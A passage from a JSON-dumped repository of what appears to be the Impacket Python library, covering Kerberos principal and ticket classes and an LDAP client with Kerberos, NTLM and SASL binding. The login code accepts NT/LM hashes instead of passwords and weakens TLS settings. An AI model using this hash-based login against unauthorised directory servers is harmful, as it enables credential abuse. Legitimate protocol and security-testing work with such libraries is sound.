unquote_component(qc)\n                for qc in re.findall(r'(?:[^\\\\/]|\\\\.)+', m.group(1))]\n        elif len(value) == 2:\n            self.components = value[0]\n            self.realm = value[-1]\n            if isinstance(self.components, str):\n                self.components = [self.components]\n        elif len(value) >= 2:\n            self.components = value[0:-1]\n            self.realm = value[-1]\n        else:\n            raise KerberosException(\"invalid principal value\")\n\n        if type is not None:\n            self.type = type\n\n    def __eq__(self, other):\n        if isinstance (other, str):\n            other = Principal (other)\n\n        return (self.type == constants.PrincipalNameType.NT_UNKNOWN.value or\n                other.type == constants.PrincipalNameType.NT_UNKNOWN.value or\n                self.type == other.type) and all (map (lambda a, b: a == b, self.components, other.components)) and \\\n               self.realm == other.realm\n\n    def __str__(self):\n        def quote_component(comp):\n            return re.sub(r'([\\\\/@])', r'\\\\\\1', comp)\n\n        ret = \"/\".join([quote_component(c) for c in self.components])\n        if self.realm is not None:\n            ret += \"@\" + self.realm\n\n        return ret\n\n    def __repr__(self):\n        return \"Principal((\" + repr(self.components) + \", \" + \\\n               repr(self.realm) + \"), t=\" + str(self.type) + \")\"\n\n    def from_asn1(self, data, realm_component, name_component):\n        name = data.getComponentByName(name_component)\n        self.type = constants.PrincipalNameType(\n            name.getComponentByName('name-type')).value\n        self.components = [\n            str(c) for c in name.getComponentByName('name-string')]\n        self.realm = str(data.getComponentByName(realm_component))\n        return self\n\n    def components_to_asn1(self, name):\n        name.setComponentByName('name-type', int(self.type))\n        strings = name.setComponentByName('name-string'\n                                          ).getComponentByName('name-string')\n        for i, c in enumerate(self.components):\n            strings.setComponentByPosition(i, ensure_binary(c))\n\n        return name\n\nclass Address(object):\n    DIRECTIONAL_AP_REQ_SENDER = struct.pack('!I', 0)\n    DIRECTIONAL_AP_REQ_RECIPIENT = struct.pack('!I', 1)\n\n    def __init__(self):\n        self.type = None\n        self.data = None\n\n    def __str__(self):\n        family = self.family\n\n        if family is not None:\n            return str((family, self.address))\n        else:\n            return str((self.type, self.value))\n\n    @property\n    def family(self):\n        if self.type == constants.AddressType.IPv4.value:\n            return socket.AF_INET\n        elif self.type == constants.AddressType.IPv4.value:\n            return socket.AF_INET6\n        else:\n            return None\n\n    @property\n    def address(self):\n        if self.type == constants.AddressType.IPv4.value:\n            return socket.inet_pton(self.family, self.data)\n        elif self.type == constants.AddressType.IPv4.value:\n            return socket.inet_pton(self.family, self.data)\n        else:\n            return None\n\n    def encode(self):\n        # ipv4-mapped ipv6 addresses must be encoded as ipv4.\n        pass\n\nclass EncryptedData(object):\n    def __init__(self):\n        self.etype = None\n        self.kvno = None\n        self.ciphertext = None\n\n    def from_asn1(self, data):\n        data = _asn1_decode(data, asn1.EncryptedData())\n        self.etype = constants.EncryptionTypes(data.getComponentByName('etype')).value\n        kvno = data.getComponentByName('kvno')\n        if (kvno is None) or (kvno.hasValue() is False):\n            self.kvno = False\n        else:\n            self.kvno = kvno\n        self.ciphertext = str(data.getComponentByName('cipher'))\n        return self\n\n    def to_asn1(self, component):\n        component.setComponentByName('etype', int(self.etype))\n        if self.kvno:\n            component.setComponentByName('kvno', self.kvno)\n        component.setComponentByName('cipher', self.ciphertext)\n        return component\n\nclass Ticket(object):\n    def __init__(self):\n        # This is the kerberos version, not the service principal key\n        # version number.\n        self.tkt_vno = None\n        self.service_principal = None\n        self.encrypted_part = None\n\n    def from_asn1(self, data):\n        data = _asn1_decode(data, asn1.Ticket())\n        self.tkt_vno = int(data.getComponentByName('tkt-vno'))\n        self.service_principal = Principal()\n        self.service_principal.from_asn1(data, 'realm', 'sname')\n        self.encrypted_part = EncryptedData()\n        self.encrypted_part.from_asn1(data.getComponentByName('enc-part'))\n        return self\n\n    def to_asn1(self, component):\n        component.setComponentByName('tkt-vno', 5)\n        component.setComponentByName('realm', self.service_principal.realm)\n        asn1.seq_set(component, 'sname',\n                     self.service_principal.components_to_asn1)\n        asn1.seq_set(component, 'enc-part', self.encrypted_part.to_asn1)\n        return component\n\n    def __str__(self):\n        return \"<Ticket for %s vno %s>\" % (str(self.service_principal), str(self.encrypted_part.kvno)) \n\nclass KerberosTime(object):\n    INDEFINITE = datetime.datetime(1970, 1, 1, 0, 0, 0)\n\n    @staticmethod\n    def to_asn1(dt):\n        # A KerberosTime is really just a string, so we can return a\n        # string here, and the asn1 library will convert it correctly.\n\n        return \"%04d%02d%02d%02d%02d%02dZ\" % (dt.year, dt.month, dt.day, dt.hour, dt.minute, dt.second)\n\n    @staticmethod\n    def from_asn1(data):\n        data = str(data)\n        year = int(data[0:4])\n        month = int(data[4:6])\n        day = int(data[6:8])\n        hour = int(data[8:10])\n        minute = int(data[10:12])\n        second = int(data[12:14])\n        if data[14] != 'Z':\n            raise KerberosException(\"timezone in KerberosTime is not Z\")\n        return datetime.datetime(year, month, day, hour, minute, second)\n\nif __name__ == '__main__':\n    # TODO marc: turn this into a real test\n    print(Principal(\"marc\"))\n    print(Principal((\"marc\", None)))\n    print(Principal(((\"marc\",), None)))\n    print(Principal(\"marc@ATHENA.MIT.EDU\"))\n    print(Principal(\"marc\", default_realm=\"ATHENA.MIT.EDU\"))\n    print(Principal(\"marc@ATHENA.MIT.EDU\", default_realm=\"EXAMPLE.COM\"))\n    print(Principal((\"marc\", \"ATHENA.MIT.EDU\")))\n    print(Principal(((\"marc\"), \"ATHENA.MIT.EDU\")))\n    print(Principal(\"marc/root\"))\n    print(Principal((\"marc\", \"root\", \"ATHENA.MIT.EDU\")))\n    print(Principal(((\"marc\", \"root\"), \"ATHENA.MIT.EDU\")))\n    print(Principal(\"marc\\\\/root\"))\n"
  },
  {
    "path": "impacket/ldap/__init__.py",
    "content": "# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Description:\npass\n"
  },
  {
    "path": "impacket/ldap/ldap.py",
    "content": "# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Description:\n#   RFC 4511 Minimalistic implementation. We don't need much functionality yet\n#   If we need more complex use cases we might opt to use a third party implementation\n#   Keep in mind the APIs are still unstable, might require to re-write your scripts\n#   as we change them.\n#   Adding [MS-ADTS] specific functionality\n#\n# Authors:\n#   Alberto Solino (@agsolino)\n#   Kacper Nowak (@kacpern)\n#\n# ToDo:\n#   [x] Implement Paging Search, especially important for big requests\n#\n\nimport re\nimport struct\nimport socket\nfrom binascii import unhexlify\nimport random\nimport six\n\nfrom pyasn1.codec.ber import encoder, decoder\nfrom pyasn1.error import SubstrateUnderrunError\nfrom pyasn1.type.univ import noValue\n\nfrom impacket import LOG\nfrom impacket.ldap.ldapasn1 import Filter, Control, SimplePagedResultsControl, ResultCode, Scope, DerefAliases, Operation, \\\n    KNOWN_CONTROLS, CONTROL_PAGEDRESULTS, NOTIFICATION_DISCONNECT, KNOWN_NOTIFICATIONS, BindRequest, SearchRequest, \\\n    SearchResultDone, LDAPMessage, AddRequest, ModifyRequest, ModifyDNRequest, DelRequest\nfrom impacket.ntlm import getNTLMSSPType1, getNTLMSSPType3, VERSION, hmac_md5, NTLMAuthChallenge\nfrom impacket.spnego import SPNEGO_NegTokenInit, SPNEGO_NegTokenResp, SPNEGOCipher, TypesMech\n\ntry:\n    import OpenSSL\n    from OpenSSL import SSL, crypto\nexcept:\n    LOG.critical(\"pyOpenSSL is not installed, can't continue\")\n    raise\n\n__all__ = [\n    'LDAPConnection', 'LDAPFilterSyntaxError', 'LDAPFilterInvalidException', 'LDAPSessionError', 'LDAPSearchError',\n    'Control', 'SimplePagedResultsControl', 'ResultCode', 'Scope', 'DerefAliases', 'Operation',\n    'CONTROL_PAGEDRESULTS', 'KNOWN_CONTROLS', 'NOTIFICATION_DISCONNECT', 'KNOWN_NOTIFICATIONS',\n]\n\n# https://tools.ietf.org/search/rfc4515#section-3\nDESCRIPTION = r'(?:[a-z][a-z0-9\\-]*)'\nNUMERIC_OID = r'(?:(?:\\d|[1-9]\\d+)(?:\\.(?:\\d|[1-9]\\d+))*)'\nOID = r'(?:%s|%s)' % (DESCRIPTION, NUMERIC_OID)\nOPTIONS = r'(?:(?:;[a-z0-9\\-]+)*)'\nATTRIBUTE = r'(%s%s)' % (OID, OPTIONS)\nDN = r'(:dn)'\nMATCHING_RULE = r'(?::(%s))' % OID\n\nRE_OPERATOR = re.compile(r'([:<>~]?=)')\nRE_ATTRIBUTE = re.compile(r'^%s$' % ATTRIBUTE, re.I)\nRE_EX_ATTRIBUTE_1 = re.compile(r'^%s%s?%s?$' % (ATTRIBUTE, DN, MATCHING_RULE), re.I)\nRE_EX_ATTRIBUTE_2 = re.compile(r'^(){0}%s?%s$' % (DN, MATCHING_RULE), re.I)\n\n# LDAP modify operations\nMODIFY_ADD = 0\nMODIFY_DELETE = 1\nMODIFY_REPLACE = 2\nMODIFY_INCREMENT = 3\n\nclass LDAPConnection:\n    def __init__(self, url, baseDN='', dstIp=None, signing=True):\n        \"\"\"\n        LDAPConnection class\n\n        :param string url:\n        :param string baseDN:\n        :param string dstIp:\n\n        :return: a LDAP instance, if not raises a LDAPSessionError exception\n        \"\"\"\n        self._SSL = False\n        self._dstPort = 0\n        self._dstHost = 0\n        self._socket = None\n        self._baseDN = baseDN\n        self._dstIp = dstIp\n        self.__signing = signing\n\n        if url.startswith('ldap://'):\n            self._dstPort = 389\n            self._SSL = False\n            self._dstHost = url[7:]\n        elif url.startswith('ldaps://'):\n            self._dstPort = 636\n            self._SSL = True\n            self.__signing = False\n            self._dstHost = url[8:]\n        elif url.startswith('gc://'):\n            self._dstPort = 3268\n            self._SSL = False\n            self.__signing = False\n            self._dstHost = url[5:]\n        else:\n            raise LDAPSessionError(errorString=\"Unknown URL prefix: '%s'\" % url)\n\n        self.__binded = False\n        self.channel_binding_value = None\n\n        ### SASL Auth LDAP Signing arguments\n        self.sequenceNumber = 0\n        \n        # Kerberos\n        self.__auth_type = None\n        self.__gss = None\n        self.__sessionKey = None\n\n        # NTLM\n        self.__spnego_cipher_blob = None\n\n        # Try to connect\n        if self._dstIp is not None:\n            targetHost = self._dstIp\n        else:\n            targetHost = self._dstHost\n\n        LOG.debug('Connecting to %s, port %d, SSL %s, signing %s' % (targetHost, self._dstPort, self._SSL, self.__signing))\n        try:\n            af, socktype, proto, _, sa = socket.getaddrinfo(targetHost, self._dstPort, 0, socket.SOCK_STREAM)[0]\n            self._socket = socket.socket(af, socktype, proto)\n        except socket.error as e:\n            raise socket.error('Connection error (%s:%d)' % (targetHost, self._dstPort), e)\n\n        if self._SSL is False:\n            self._socket.connect(sa)\n        else:\n            # Switching to TLS now\n            ctx = SSL.Context(SSL.TLS_METHOD)\n            ctx.set_cipher_list('ALL:@SECLEVEL=0'.encode('utf-8'))\n            SSL_OP_ALLOW_UNSAFE_LEGACY_RENEGOTIATION = 0x00040000\n            ctx.set_options(SSL_OP_ALLOW_UNSAFE_LEGACY_RENEGOTIATION)\n            self._socket = SSL.Connection(ctx, self._socket)\n            self._socket.connect(sa)\n            self._socket.do_handshake()\n\n            # From: https://github.com/ly4k/ldap3/commit/87f5760e5a68c2f91eac8ba375f4ea3928e2b9e0#diff-c782b790cfa0a948362bf47d72df8ddd6daac12e5757afd9d371d89385b27ef6R1383\n            from hashlib import md5\n            # Ugly but effective, to get the digest of the X509 DER in bytes\n            peer_cert_digest_str = self._socket.get_peer_certificate().digest('sha256').decode()\n            peer_cert_digest_bytes = bytes.fromhex(peer_cert_digest_str.replace(':', ''))\n        \n            channel_binding_struct = b''\n            initiator_address = b'\\x00'*8\n            acceptor_address = b'\\x00'*8\n\n            # https://datatracker.ietf.org/doc/html/rfc5929#section-4\n            application_data_raw = b'tls-server-end-point:' + peer_cert_digest_bytes\n            len_application_data = len(application_data_raw).to_bytes(4, byteorder='little', signed = False)\n            application_data = len_application_data\n            application_data += application_data_raw\n            channel_binding_struct += initiator_address\n            channel_binding_struct += acceptor_address\n            channel_binding_struct += application_data\n            self.channel_binding_value = md5(channel_binding_struct).digest()\n\n    def kerberosLogin(self, user, password, domain='', lmhash='', nthash='', aesKey='', kdcHost=None, TGT=None,\n                      TGS=None, useCache=True):\n        \"\"\"\n        logins into the target system explicitly using Kerberos. Hashes are used if RC4_HMAC is supported.\n\n        :param string user: username\n        :param string password: password for the user\n        :param string domain: domain where the account is valid for (required)\n        :param string lmhash: LMHASH used to authenticate using hashes (password is not used)\n        :param string nthash: NTHASH used to authenticate using hashes (password is not used)\n        :param string aesKey: aes256-cts-hmac-sha1-96 or aes128-cts-hmac-sha1-96 used for Kerberos authentication\n        :param string kdcHost: hostname or IP Address for the KDC. If None, the domain will be used (it needs to resolve tho)\n        :param struct TGT: If there's a TGT available, send the structure here and it will be used\n        :param struct TGS: same for TGS. See smb3.py for the format\n        :param bool useCache: whether or not we should use the ccache for credentials lookup. If TGT or TGS are specified this is False\n\n        :return: True, raises a LDAPSessionError if error.\n        \"\"\"\n\n        if lmhash != '' or nthash != '':\n            if len(lmhash) % 2:\n                lmhash = '0' + lmhash\n            if len(nthash) % 2:\n                nthash = '0' + nthash\n            try:  # just in case they were converted already\n                lmhash = unhexlify(lmhash)\n                nthash = unhexlify(nthash)\n            except TypeError:\n                pass\n\n        # Importing down here so pyasn1 is not required if kerberos is not used.\n        from impacket.krb5.ccache import CCache\n        from impacket.krb5.gssapi import GSSAPI, GSS_C_CONF_FLAG, GSS_C_INTEG_FLAG, GSS_C_SEQUENCE_FLAG, GSS_C_REPLAY_FLAG\n        from impacket.krb5.asn1 import AP_REQ, Authenticator, TGS_REP, seq_set\n        from impacket.krb5.kerberosv5 import getKerberosTGT, getKerberosTGS, CheckSumField\n        from impacket.krb5 import constants\n        from impacket.krb5.types import Principal, KerberosTime, Ticket\n        import datetime\n\n        if TGT is not None or TGS is not None:\n            useCache = False\n\n        targetName = 'ldap/%s' % self._dstHost\n        if useCache:\n            domain, user, TGT, TGS = CCache.parseFile(domain, user, targetName)\n\n        # First of all, we need to get a TGT for the user\n        userName = Principal(user, type=constants.PrincipalNameType.NT_PRINCIPAL.value)\n        if TGT is None:\n            if TGS is None:\n                tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, password, domain, lmhash, nthash,\n                                                                        aesKey, kdcHost)\n        else:\n            tgt = TGT['KDC_REP']\n            cipher = TGT['cipher']\n            sessionKey = TGT['sessionKey']\n\n        if TGS is None:\n            serverName = Principal(targetName, type=constants.PrincipalNameType.NT_SRV_INST.value)\n            tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(serverName, domain, kdcHost, tgt, cipher,\n                                                                    sessionKey)\n        else:\n            tgs = TGS['KDC_REP']\n            cipher = TGS['cipher']\n            sessionKey = TGS['sessionKey']\n\n            # Let's build a NegTokenInit with a Kerberos REQ_AP\n\n        blob = SPNEGO_NegTokenInit()\n\n        # Kerberos\n        blob['MechTypes'] = [TypesMech['MS KRB5 - Microsoft Kerberos 5']]\n\n        # Let's extract the ticket from the TGS\n        tgs = decoder.decode(tgs, asn1Spec=TGS_REP())[0]\n        ticket = Ticket()\n        ticket.from_asn1(tgs['ticket'])\n\n        # Now let's build the AP_REQ\n        apReq = AP_REQ()\n        apReq['pvno'] = 5\n        apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value)\n\n        opts = []\n        apReq['ap-options'] = constants.encodeFlags(opts)\n        seq_set(apReq, 'ticket', ticket.to_asn1)\n\n        authenticator = Authenticator()\n        authenticator['authenticator-vno'] = 5\n        authenticator['crealm'] = domain\n        seq_set(authenticator, 'cname', userName.components_to_asn1)\n        now = datetime.datetime.now(datetime.timezone.utc)\n\n        authenticator['cusec'] = now.microsecond\n        authenticator['ctime'] = KerberosTime.to_asn1(now)\n        \n        authenticator['cksum'] = noValue\n        authenticator['cksum']['cksumtype'] = 0x8003\n\n        chkField = CheckSumField()\n        chkField['Lgth'] = 16\n\n        chkField['Flags'] = GSS_C_SEQUENCE_FLAG | GSS_C_REPLAY_FLAG\n\n        # If TLS is used, setup channel binding\n        \n        if self._SSL and self.channel_binding_value is not None:\n            chkField['Bnd'] = self.channel_binding_value\n        if self.__signing:\n            chkField['Flags'] |= GSS_C_CONF_FLAG\n            chkField['Flags'] |= GSS_C_INTEG_FLAG\n        authenticator['cksum']['checksum'] = chkField.getData()\n        authenticator['seq-number'] = 0\n        encodedAuthenticator = encoder.encode(authenticator)\n\n        # Key Usage 11\n        # AP-REQ Authenticator (includes application authenticator\n        # subkey), encrypted with the application session key\n        # (Section 5.5.1)\n        encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 11, encodedAuthenticator, None)\n\n        apReq['authenticator'] = noValue\n        apReq['authenticator']['etype'] = cipher.enctype\n        apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator\n        blob['MechToken'] = encoder.encode(apReq)\n        \n        # Done with the Kerberos saga, now let's get into LDAP\n\n        bindRequest = BindRequest()\n        bindRequest['version'] = 3\n        bindRequest['name'] = 'user'\n        bindRequest['authentication']['sasl']['mechanism'] = 'GSS-SPNEGO'\n        bindRequest['authentication']['sasl']['credentials'] = blob.getData()\n        \n        response = self.sendReceive(bindRequest)[0]['protocolOp']\n        if response['bindResponse']['resultCode'] != ResultCode('success'):\n            raise LDAPSessionError(\n                errorString='Error in bindRequest -> %s: %s' % (response['bindResponse']['resultCode'].prettyPrint(),\n                                                                response['bindResponse']['diagnosticMessage'])\n            )\n        \n        self.__auth_type = \"KRB5\"\n        self.__binded = True\n\n        if self.__signing:\n            self.__sessionKey = sessionKey\n            self.__gss = GSSAPI(cipher)\n\n        return True\n\n    def login(self, user='', password='', domain='', lmhash='', nthash='', authenticationChoice='sasl'):\n        \"\"\"\n        logins into the target system\n\n        :param string user: username\n        :param string password: password for the user\n        :param string domain: domain where the account is valid for\n        :param string lmhash: LMHASH used to authenticate using hashes (password is not used)\n        :param string nthash: NTHASH used to authenticate using hashes (password is not used)\n        :param string authenticationChoice: type of authentication protocol to use (default NTLM)\n\n        :return: True, raises a LDAPSessionError if error.\n        \"\"\"\n        bindRequest = BindRequest()\n        bindRequest['version'] = 3\n\n        if authenticationChoice == 'simple':\n            if '.' in domain:\n                bindRequest['name'] = user + '@' + domain\n            elif domain:\n                bindRequest['name'] = domain + '\\\\' + user\n            else:\n                bindRequest['name'] = user\n            bindRequest['authentication']['simple'] = password\n            response = self.sendReceive(bindRequest)[0]['protocolOp']\n        elif authenticationChoice == 'sicilyPackageDiscovery':\n            bindRequest['name'] = user\n            bindRequest['authentication']['sicilyPackageDiscovery'] = ''\n            response = self.sendReceive(bindRequest)[0]['protocolOp']\n        elif authenticationChoice == 'sicilyNegotiate':\n            # Deal with NTLM Authentication\n            if lmhash != '' or nthash != '':\n                if len(lmhash) % 2:\n                    lmhash = '0' + lmhash\n                if len(nthash) % 2:\n                    nthash = '0' + nthash\n                try:  # just in case they were converted already\n                    lmhash = unhexlify(lmhash)\n                    nthash = unhexlify(nthash)\n                except TypeError:\n                    pass\n\n            bindRequest['name'] = user\n\n            # NTLM Negotiate\n            negotiate = getNTLMSSPType1('', domain)\n            bindRequest['authentication']['sicilyNegotiate'] = negotiate.getData()\n            response = self.sendReceive(bindRequest)[0]['protocolOp']\n            if response['bindResponse']['resultCode'] != ResultCode('success'):\n                raise LDAPSessionError(\n                    errorString='Error in bindRequest during the NTLMAuthNegotiate request -> %s: %s' %\n                                (response['bindResponse']['resultCode'].prettyPrint(),\n                                 response['bindResponse']['diagnosticMessage'])\n                )\n\n            # NTLM Challenge\n            type2 = response['bindResponse']['matchedDN']\n\n            # If TLS is used, setup channel binding\n            channel_binding_value = b''\n            if self._SSL and self.channel_binding_value is not None:\n                channel_binding_value = self.channel_binding_value\n\n            # NTLM Auth\n            type3, exportedSessionKey = getNTLMSSPType3(negotiate, bytes(type2), user, password, domain, lmhash, nthash, channel_binding_value=channel_binding_value)\n            bindRequest['authentication']['sicilyResponse'] = type3.getData()\n            response = self.sendReceive(bindRequest)[0]['protocolOp']\n        elif authenticationChoice == 'sasl':\n            if lmhash != '' or nthash != '':\n                if len(lmhash) % 2:\n                    lmhash = '0' + lmhash\n                if len(nthash) % 2:\n                    nthash = '0' + nthash\n                try:\n                    lmhash = unhexlify(lmhash)\n                    nthash = unhexlify(nthash)\n                except TypeError:\n                    pass\n\n            bindRequest['name'] = ''\n            self.version = VERSION()\n            self.version['ProductMajorVersion'], self.version['ProductMinorVersion'], self.version['ProductBuild'] = 10, 0, 19041\n            # NTLM Negotiate\n            negotiate = getNTLMSSPType1('', domain, signingRequired=self.__signing, use_ntlmv2=True, version=self.version)\n\n            blob = SPNEGO_NegTokenInit()\n            blob['MechTypes'] = [TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']]\n            blob['MechToken'] = negotiate.getData()\n\n            bindRequest['authentication']['sasl']['mechanism'] = 'GSS-SPNEGO'\n            bindRequest['authentication']['sasl']['credentials'] = blob.getData()\n            response = self.sendReceive(bindRequest)[0]['protocolOp']\n            if response['bindResponse']['resultCode'] != ResultCode('saslBindInProgress'):\n                raise LDAPSessionError(\n                    errorString='Error in bindRequest during the NTLMAuthNegotiate request -> %s: %s' %\n                                (response['bindResponse']['resultCode'].prettyPrint(),\n                                 response['bindResponse']['diagnosticMessage'])\n                )\n\n            # NTLM Challenge\n            serverSaslCreds = response['bindResponse']['serverSaslCreds']\n            spnegoTokenResp = SPNEGO_NegTokenResp(serverSaslCreds.asOctets())\n            type2 = spnegoTokenResp['ResponseToken']\n            \n            # channel binding\n            channel_binding_value = b''\n            if self._SSL and self.channel_binding_value is not None:\n                channel_binding_value = self.channel_binding_value\n            \n            # NTLM Auth\n            type3, exportedSessionKey = getNTLMSSPType3(negotiate, type2, user, password, domain, lmhash, nthash, service='ldap', version=self.version, use_ntlmv2=True, channel_binding_value=channel_binding_value)\n            \n            # calculate MIC\n            newmic = hmac_md5(exportedSessionKey, negotiate.getData() + NTLMAuthChallenge(type2).getData() + type3.getData())\n            type3['MIC'] = newmic\n\n            blob = SPNEGO_NegTokenResp()\n            blob['ResponseToken'] = type3.getData()\n            if self.__signing:\n                self.__spnego_cipher_blob = SPNEGOCipher(flags=negotiate['flags'], randomSessionKey=exportedSessionKey)\n                blob['mechListMIC'] = self.__spnego_cipher_blob.sign(b'0\\x0c\\x06\\n+\\x06\\x01\\x04\\x01\\x827\\x02\\x02\\n', 0, reset_cipher=True).getData()\n            bindRequest['authentication']['sasl']['mechanism'] = 'GSS-SPNEGO'\n            bindRequest['authentication']['sasl']['credentials'] = blob.getData()\n            response = self.sendReceive(bindRequest)[0]['protocolOp']\n        else:\n            raise LDAPSessionError(errorString=\"Unknown authenticationChoice: '%s'\" % authenticationChoice)\n\n        if response['bindResponse']['resultCode'] != ResultCode('success'):\n            raise LDAPSessionError(\n                errorString='Error in bindRequest -> %s: %s' % (response['bindResponse']['resultCode'].prettyPrint(),\n                                                                response['bindResponse']['diagnosticMessage'])\n            )\n        \n        self.__auth_type = f\"NTLM-{authenticationChoice}\"\n        self.__binded = True\n        return True\n\n    def encrypt(self, data):\n        if self.__auth_type == \"KRB5\":\n            data, signature = self.__gss.GSS_Wrap_LDAP(self.__sessionKey, data, self.sequenceNumber)\n            data = signature + data\n            data = len(data).to_bytes(4, byteorder = 'big', signed = False) + data\n        elif self.__auth_type == \"NTLM-sasl\":\n            signature, data = self.__spnego_cipher_blob.encrypt(data)\n            data = signature.getData() + data\n            data = len(data).to_bytes(4, byteorder = 'big', signed = False) + data\n        else:\n            raise(f\"Encryption not implemented for {self.__auth_type} protocol\")\n        return data\n\n    def decrypt(self, data):\n        if self.__auth_type == \"KRB5\":\n            data = data[4:]\n            data, _ = self.__gss.GSS_Unwrap_LDAP(self.__sessionKey, data, 0, direction='init')\n        elif self.__auth_type == \"NTLM-sasl\":\n            data= data[4:]\n            signature, data = self.__spnego_cipher_blob.decrypt(data)\n        else:\n            raise(f\"Decryption not implemented for {self.__auth_type} protocol\")\n        return data\n\n    #  searchFilter expects a string (not bytes), otherwise it will raise an exception\n    def search(self, searchBase=None, scope=None, derefAliases=None, sizeLimit=0, timeLimit=0, typesOnly=False,\n               searchFilter='(objectClass=*)', attributes=None, searchControls=None, perRecordCallback=None):\n\n        if not isinstance(searchFilter, six.text_type):\n            raise LDAPFilterInvalidException(\"searchFilter must be %s, got %s\" % (six.text_type, type(searchFilter)))\n\n        if searchBase is None:\n            searchBase = self._baseDN\n        if scope is None:\n            scope = Scope('wholeSubtree')\n        if derefAliases is None:\n            derefAliases = DerefAliases('neverDerefAliases')\n        if attributes is None:\n            attributes = []\n\n        searchRequest = SearchRequest()\n        searchRequest['baseObject'] = searchBase\n        searchRequest['scope'] = scope\n        searchRequest['derefAliases'] = derefAliases\n        searchRequest['sizeLimit'] = sizeLimit\n        searchRequest['timeLimit'] = timeLimit\n        searchRequest['typesOnly'] = typesOnly\n        searchRequest['filter'] = self._parseFilter(searchFilter)\n        searchRequest['attributes'].setComponents(*attributes)\n\n        done = False\n        answers = []\n        # We keep asking records until we get a SearchResultDone packet and all controls are handled\n        while not done:\n            response = self.sendReceive(searchRequest, searchControls)\n            for message in response:\n                searchResult = message['protocolOp'].getComponent()\n                if searchResult.isSameTypeWith(SearchResultDone()):\n                    if searchResult['resultCode'] == ResultCode('success'):\n                        done = self._handleControls(searchControls, message['controls'])\n                    else:\n                        raise LDAPSearchError(\n                            error=int(searchResult['resultCode']),\n                            errorString='Error in searchRequest -> %s: %s' % (searchResult['resultCode'].prettyPrint(),\n                                                                              searchResult['diagnosticMessage']),\n                            answers=answers\n                        )\n                else:\n                    if perRecordCallback is None:\n                        answers.append(searchResult)\n                    else:\n                        perRecordCallback(searchResult)\n\n        return answers\n\n    def _handleControls(self, requestControls, responseControls):\n        done = True\n        if requestControls is not None:\n            for requestControl in requestControls:\n                if responseControls is not None:\n                    for responseControl in responseControls:\n                        if str(requestControl['controlType']) == CONTROL_PAGEDRESULTS:\n                            if str(responseControl['controlType']) == CONTROL_PAGEDRESULTS:\n                                if hasattr(responseControl, 'getCookie') is not True:\n                                    responseControl = decoder.decode(encoder.encode(responseControl),\n                                                                 asn1Spec=KNOWN_CONTROLS[CONTROL_PAGEDRESULTS]())[0]\n                                if responseControl.getCookie():\n                                    done = False\n                                requestControl.setCookie(responseControl.getCookie())\n                                break\n                        else:\n                            # handle different controls here\n                            pass\n        return done\n\n    def add(self, dn, objectClass, attributes=None, controls=None):\n        \"\"\"\n        Add an entry to the LDAP directory.\n\n        :param dn: Distinguished Name of the entry to add\n        :param objectClass: Tuple or list of object classes for the entry\n        :param attributes: Dictionary of attributes for the entry\n        :param controls: LDAP controls to include in the request\n        :return: True if the entry was added successfully, else raises LDAPSessionError\n        \"\"\"\n        addRequest = AddRequest()\n        addRequest['entry'] = dn\n        addRequest['attributes'][0]['type'] = 'objectClass'\n        addRequest['attributes'][0]['vals'].setComponents(*objectClass)\n\n        index = 1\n        for key, value in attributes.items():\n            addRequest['attributes'][index]['type'] = key\n            if isinstance(value, list):\n                addRequest['attributes'][index]['vals'].setComponents(*(str(val) if isinstance(val, int) else val for val in value))\n            else:\n                addRequest['attributes'][index]['vals'].setComponents(str(value) if isinstance(value, int) else value)\n            index += 1\n\n        response = self.sendReceive(addRequest, controls)[0]['protocolOp']\n        if response['addResponse']['resultCode'] != ResultCode('success'):\n            raise LDAPSessionError(\n                error=int(response['addResponse']['resultCode']),\n                errorString=f\"Error in addRequest -> {response['addResponse']['resultCode'].prettyPrint()}: {response['addResponse']['diagnosticMessage']}\"\n            )\n        return True\n\n    def modify(self, dn, modifications, controls=None):\n        \"\"\"\n        Modify an entry in the LDAP directory.\n        RFC 4511 Section 4.6\n\n        :param dn: Distinguished Name of the entry to modify\n        :param modifications: Dictionary of modifications of form {attribute: [(operation, values), ...]}.\n                Operation: 0 - add, 1 - delete, 2 - replace, 3 - increment.\n                Values: single value or list of values.\n        :param controls: LDAP controls to include in the request\n        :return: True if the entry was modified successfully, else raises LDAPSessionError\n        \"\"\"\n        modifyRequest = ModifyRequest()\n        modifyRequest['object'] = dn\n\n        # idx keeps track of the current change index\n        idx = 0\n        for attr, ops in modifications.items():\n            for op in ops:\n                # op should be a tuple (operation, values)\n                if op[0] not in [MODIFY_ADD, MODIFY_DELETE, MODIFY_REPLACE, MODIFY_INCREMENT]:\n                    raise LDAPSessionError(errorString=f\"Invalid modification operation '{op[0]}' for attribute '{attr}'\")\n                modifyRequest['changes'][idx]['operation'] = op[0]  # operation code\n                modifyRequest['changes'][idx]['modification']['type'] = attr\n\n                # prepare changed values. Integer values need to be converted to string\n                vals = []\n                if isinstance(op[1], list):\n                    vals.extend([str(val) if isinstance(val, int) else val for val in op[1]])\n                else:\n                    vals.append(str(op[1]) if isinstance(op[1], int) else op[1])\n                modifyRequest['changes'][idx]['modification']['vals'].setComponents(*vals)\n                idx += 1\n\n        response = self.sendReceive(modifyRequest, controls)[0]['protocolOp']\n        if response['modifyResponse']['resultCode'] != ResultCode('success'):\n            raise LDAPSessionError(\n                error=int(response['modifyResponse']['resultCode']),\n                errorString=f\"Error in modifyRequest -> {response['modifyResponse']['resultCode'].prettyPrint()}: {response['modifyResponse']['diagnosticMessage']}\"\n            )\n        return True\n\n    def modify_dn(self, dn, newrdn, deleteoldrdn=True, newSuperior=None, controls=None):\n        \"\"\"\n        Modify the Distinguished Name of an entry in the LDAP directory.\n        RFC 4511 Section 4.9\n\n        :param dn: Current Distinguished Name of the entry\n        :param newrdn: New Relative Distinguished Name for the entry\n        :param deleteoldrdn: Whether to delete the old RDN from the entry\n        :param 